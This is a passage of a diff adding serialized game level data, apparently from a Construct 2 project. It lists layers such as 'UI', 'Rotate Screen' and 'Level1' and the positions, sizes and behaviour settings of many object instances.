+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6797,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 262.5632019042969,
+ 481.651611328125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6798,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 354.3700256347656,
+ 481.2955932617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6799,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 446.5719604492188,
+ 481.2955932617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6800,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 538.3397216796875,
+ 481.2955932617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6801,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 629.7907104492188,
+ 481.296142578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6802,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 721.99267578125,
+ 481.296142578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6803,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 813.7604370117188,
+ 481.296142578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6804,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400.2489624023438,
+ 446,
+ 0,
+ 106.0632247924805,
+ 46.80724334716797,
+ 0,
+ 0,
+ 1,
+ 0.5023474097251892,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 552,
+ 6820,
+ [],
+ [
+ [
+ 1,
+ 6,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -276,
+ 276,
+ 0,
+ 71,
+ 126,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.4126984179019928,
+ 0,
+ 0,
+ []
+ ],
+ 553,
+ 6822,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 300,
+ 1500,
+ 1500,
+ 150,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 294.5,
+ 382,
+ 0,
+ 1276,
+ 69,
+ 0,
+ 0,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6821,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 374.1209716796875,
+ 318.5250854492188,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 549,
+ 6805,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 2,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 426.8790588378906,
+ 318.8585205078125,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 550,
+ 6806,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ -2,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "UI",
+ 4,
+ 953692966722084,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -101,
+ 1,
+ 0,
+ 109.8452987670898,
+ 78.34005737304688,
+ 0,
+ 0,
+ 1,
+ 0.4716981053352356,
+ 0.3802816867828369,
+ 0,
+ 0,
+ []
+ ],
+ 6,
+ 5169,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -102.2726287841797,
+ 306.9088745117188,
+ 0,
+ 135.207763671875,
+ 25.67899513244629,
+ 0,
+ 0,
+ 1,
+ 0.604651153087616,
+ 1.530612230300903,
+ 0,
+ 0,
+ []
+ ],
+ 116,
+ 5989,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ 38,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5087719559669495,
+ 0.6721311211585999,
+ 0,
+ 0,
+ []
+ ],
+ 117,
+ 5990,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -106.2726287841797,
+ 229.9088745117188,
+ 0,
+ 123.4788665771484,
+ 52.98023223876953,
+ 0,
+ 0,
+ 1,
+ 0.5761589407920837,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 5,
+ 6092,
+ [],
+ [
+ [
+ 1,
+ 6,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 772,
+ 23,
+ 0,
+ 44.18024063110352,
+ 39.7236442565918,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 304,
+ 6093,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 880,
+ -72,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 6094,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ -129,
+ -101,
+ 0,
+ 180.1670837402344,
+ 84.51658630371094,
+ 0,
+ 0,
+ 1,
+ 0.5112359523773193,
+ 0.4790419042110443,
+ 0,
+ 0,
+ []
+ ],
+ 179,
+ 3915,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 2,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 421,
+ 251,
+ 0,
+ 923.4080810546875,
+ 554.9659423828125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 6823,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 5,
+ 903406584376019,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level1",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 183090545245534,
+ [
+ [
+ "fondo",
+ 0,
+ 927147185676239,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -92,
+ -297,
+ 0,
+ 10237,
+ 2161,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 0,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 463912019569385,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 216,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 237,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5224,
+ 744,
+ 0,
+ 40,
+ 1486,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 242,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -20,
+ 414,
+ 0,
+ 40,
+ 832,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 818,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 168601753969753,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 280,
+ 117,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 6,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 966923474491279,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -620,
+ 2464,
+ 0,
+ 10152,
+ 594,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 307,
+ 1,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 219355049056299,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 2192,
+ 1065,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4652,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4045,
+ 675,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 177,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 124,
+ 595,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 81,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 206,
+ 604,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 42,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -357,
+ 1173,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 534,
+ 217,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -281,
+ 728,
+ 0,
+ 96,
+ 87,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.9885057210922241,
+ 0,
+ 0,
+ []
+ ],
+ 536,
+ 4629,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 674,
+ 609,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 11,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1369,
+ 489,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 25,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1819,
+ 663,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 48,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2488,
+ 650,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 115,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2930,
+ 520,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 116,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3363,
+ 600,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4045,
+ 613,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 118,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4512,
+ 614,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 120,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4981,
+ 623,
+ 0,
+ 481,
+ 156,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 124,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 254,
+ 671,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4657,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 656.0425415039062,
+ 713.68994140625,
+ 0,
+ 330.9380493164063,
+ 165.4690246582031,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 147,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1339,
+ 615,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1865,
+ 716,
+ 0,
+ 330.9380493164063,
+ 165.4690246582031,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 150,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2490,
+ 728,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 151,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3070,
+ 458,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 152,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4067,
+ 719,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 153,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4476,
+ 773,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 157,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5071,
+ 705,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 161,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 631,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4927,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 499,
+ 849,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 84,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1388,
+ 544,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 85,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3077,
+ 459,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 86,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2951,
+ 836,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 165,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3344,
+ 891,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 172,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4576,
+ 744,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 178,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5309,
+ 887,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 179,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 236,
+ 665,
+ 0,
+ 223,
+ 274,
+ 0,
+ 0,
+ 1,
+ 0.5201793909072876,
+ 0.974452555179596,
+ 0,
+ 0,
+ []
+ ],
+ 532,
+ 5675,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 593,
+ 702,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 218,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232,
+ 558,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 180,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1540,
+ 651,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 181,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1982,
+ 796,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 223,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3143,
+ 410,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 233,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3432,
+ 692,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 235,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2000,
+ 675,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 236,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2893,
+ 913,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 238,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4010,
+ 957,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 247,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4296,
+ 653,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 284,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4507,
+ 925,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1146,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5117,
+ 760,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4476,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 373,
+ 653,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
